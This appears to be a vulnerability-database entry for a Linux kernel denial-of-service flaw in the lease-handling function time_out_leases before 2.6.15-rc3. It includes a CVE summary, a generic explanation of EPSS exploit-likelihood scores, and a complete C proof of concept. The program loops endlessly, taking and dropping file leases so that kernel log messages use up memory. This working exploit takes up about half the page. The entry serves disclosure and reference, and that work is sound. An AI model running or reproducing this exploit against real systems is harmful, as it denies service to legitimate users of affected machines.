CVE Descriptions

The time_out_leases function in locks.c for Linux kernel before 2.6.15-rc3 allows local users to cause a denial of service (kernel log message consumption) by causing a large number of broken leases, which is recorded to the log using the printk function.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* source: https://www.securityfocus.com/bid/15627/info Linux kernel is susceptible to a local denial-of-service vulnerability. Local attackers may trigger this issue by obtaining numerous file-lock leases, which will consume excessive kernel log memory. Once the leases timeout, the event will be logged, and kernel memory will be consumed. This issue allows local attackers to consume excessive kernel memory, eventually leading to an out-of-memory condition and a denial of service for legitimate users. Kernel versions prior to 2.6.15-rc3 are vulnerable to this issue. */ #include <unistd.h> #include <stdlib.h> #include <linux/fcntl.h> int main(int ac, char **av) { char *fname = av[0]; int fd = open(fname, O_RDONLY); int r; while (1) { r = fcntl(fd, F_SETLEASE, F_RDLCK); if (r == -1) { perror("F_SETLEASE, F_RDLCK"); exit(1); } r = fcntl(fd, F_SETLEASE, F_UNLCK); if (r == -1) { perror("F_SETLEASE, F_UNLCK"); exit(1); } } return 0; }
